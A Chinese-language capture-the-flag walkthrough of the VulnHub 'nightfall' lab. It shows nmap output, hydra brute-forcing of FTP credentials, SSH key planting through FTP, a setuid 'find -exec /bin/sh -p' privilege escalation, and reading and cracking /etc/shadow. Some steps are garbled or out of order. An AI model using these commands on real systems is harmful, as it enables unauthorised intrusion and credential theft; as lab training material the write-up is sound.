1.靶场获取及环境搭建
靶场地址:https://download.vulnhub.com/sunset/nightfall.zip
环境搭建步骤如下:
1.将下载好的nightfall导入VirtualBox
2.将网卡设置成和kali攻击机同一网段即可
攻击机kali:192.168.0.7
靶场ip:192.168.0.6
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段即可)
2.靶场发现和端口扫描
netdiscover -i eth0 -r 192.168.0.1/24
得知靶场ip,进行扫描靶场开放的端口以及服务
nmap -A -sV -p- 192.168.0.6
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 13:12 CST
Nmap scan report for ceng-company.vm (192.168.0.6)
Host is up (0.0068s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.0.6:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 a9:25:e1:4f:41:c6:0f:be:31:21:7b:27:e3:af:49:a9 (RSA)
| 256 38:15:c9:72:9b:e0:24:68:7b:24:4b:ae:40:46:43:16 (ECDSA)
|_ 256 9b:50:3b:2c:48:93:e1:a6:9d:b4:99:ec:60:fb:b6:46 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.15-MariaDB-1
| Thread ID: 13
| Capabilities flags: 63486
| Some Capabilities: DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsCompression, LongColumnFlag, ODBCClient, Speaks41ProtocolNew, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, FoundRows, InteractiveClient, Support41Auth, Speaks41ProtocolOld, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: 4y'SOqjBG!l~Wvj3\V{+
|_ Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:49:84:1A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: NIGHTFALL; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_nbstat: NetBIOS name: NIGHTFALL, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-10-12T05:13:15
|_ start_date: N/A
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: nightfall
| NetBIOS computer name: NIGHTFALL\x00
| Domain name: nightfall
| FQDN: nightfall.nightfall
|_ System time: 2023-10-12T01:13:15-04:00TRACEROUTE
HOP RTT ADDRESS
1 6.78 ms ceng-company.vm (192.168.0.6)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.65 seconds
这里能看见是开放了21端口——pyftpdlib 1.5.5,80,135,445等一些端口都开放着,80是阿帕奇服务的,先去看一下web页面有什么资源可利用
这时我们回想起刚才的端口服务那的samba的服务,针对samba我们用以下的命令去解决它
enun4linux 192.168.0.6,这里也跑了两个类似于账户名的东西出来
这样的话,我们利用这两个用户名(nightfall,matt)去爆破一下ftp服务(九头蛇密码爆破工具)命令如下:我这里是引用了kali自带的一个密码本去破解的,当然你们也可以去生成新的这些都是可以的
hydra -L user.txt -P rockyou.txt 192.168.0.6 ftp -t 64
账户和密码成功爆出:matt passwd:cheese
在攻击机里直接登录ftp服务
ftp 192.168.0.6
已经成功利用ftp服务,进到了靶机内部
查看下靶机内部有什么文件,从ftp共享中的内容来看,共享最多的是matt这个用户
既然是这个matt的home目录中,那我们直接上传SSH的公钥到authorized_keys文件,然后用私钥去进入靶机,然后在提权, 以下:先生成一个ssh的密钥
然后登陆到靶场的ftp里面,并创建.ssh文件夹。
最重要的一步来啦,上传密钥到.ssh文件夹中。
公钥已经上传到靶场上了,接下来我们直接进行ssh的登陆,OK呀直接通过ssh的公钥进来啦!
现在已经是通过ssh服务进来了,那我们现在还不是管理员的权限,我们现在去提权一下!
2.提权
对于这种靶机是linux的提权问题,下面使用到这个脚本:https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
先在攻击机里开启http服务,开启后到浏览器进行验证
开启:python2 -m SimpleHTTPServer 100 验证:127.0.0.1:100
接下来,进入到靶机里面切换目录到tmp里,然后下载我们这个脚本进去
cd /tmp
wget http://192.168.0.6:100/linuxprivchecker.py
已经在靶场成功的下载了脚本进去,我们运行一下,之前我测试非常多的脚本,缺点就是跑出来的东西比较乱,现在为了方便大家的一个观察,我将跑出来的结果输出文本中去
python -m linuxprivchecker.py > report.txt
发现/scripts/find,用这个去提一下权
然后用nc去连接一下
nc 192.168.0.6 1234 现在已经成功进去了
/scripts/find index.html -exec /bin/sh -p \;
这里查看到是有一个user的一个txt文件的
查看这个user.txt文件,我们进去看一下里面有什么东西,这个是第一个flag
毕竟这个nightfall用户的权限我们现在是有的,那我们就将ssh的密钥写进去他的认证文件里面,更前面第一的步骤一样,须先在kali里开启一个http的服务,然后将我们的密钥下载到靶场这个文件里面/home/nightfall/.ssh,如果靶场里/home/nightfall/这个目录下是没有.ssh文件夹的话,我们自己创建一个
已经成功将ssh密钥写进去nightfall用户里了,我们通过ssh去连接
我们使用sudo -l的命令发现root可以免密执行cat的命令,查看/etc/shadow文件
这里的root比较诡异,我们直接将root整行给复制出来保存到本地然后进行爆破
得到账户密码了,我们直接去连接看看,这个是没有办法直接连接进去的,估计是被禁用掉了,我们回到之前的松山连接里面然后进行登陆。
已经用root的身份进来啦,我们接下来去找一下flag
cd ~
cat root_super_secret_flag.txt
flag{9a5b21fc6719fe33004d66b703d70a39}
至此靶场就从渗透以及提权全部完成啦!
各位读者如果有其他的建议或者是问题的话,请留言分享,如果您认为这篇文章写得不错请帮忙多分享分享,非常感谢各位的支持和反馈,如有想交流的问题请扫描下方二维码进行交流。